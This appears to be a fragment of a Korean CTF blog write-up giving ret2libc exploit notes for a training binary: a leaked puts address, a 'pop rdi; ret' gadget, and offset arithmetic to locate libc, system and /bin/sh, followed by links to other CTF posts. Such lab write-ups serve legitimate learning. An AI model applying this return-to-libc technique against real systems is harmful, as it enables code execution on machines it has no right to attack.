&puts - &system = 0x2a300
“pop rdi; ret” : 0x400bc3
puts – libc = libc.symbols[‘puts’]
libc = puts- libc_puts_off
binsh_addr = libc+libc_binsh_off
system_addr = puts – puts_system_off
그냥 puts 주소를 write로 leak 하고 libc, /bin/sh, system 주소를 구한 offset 주소로 구한다.
Don’t break the rules…:( 뒤에 띄어쓰기가 있는 것을 주의.. 그리고 puts로 출력했기 때문에 \n을 같이 받는다.
[HITCON-Training] craxme (0) | 2020.01.02 |
---|---|
[HITCON-Training] crack (0) | 2020.01.02 |
simple_heap (0) | 2019.12.21 |
[TAMU 2019] pwn3 (0) | 2019.08.23 |
[tuCTF] shella-easy (0) | 2019.08.23 |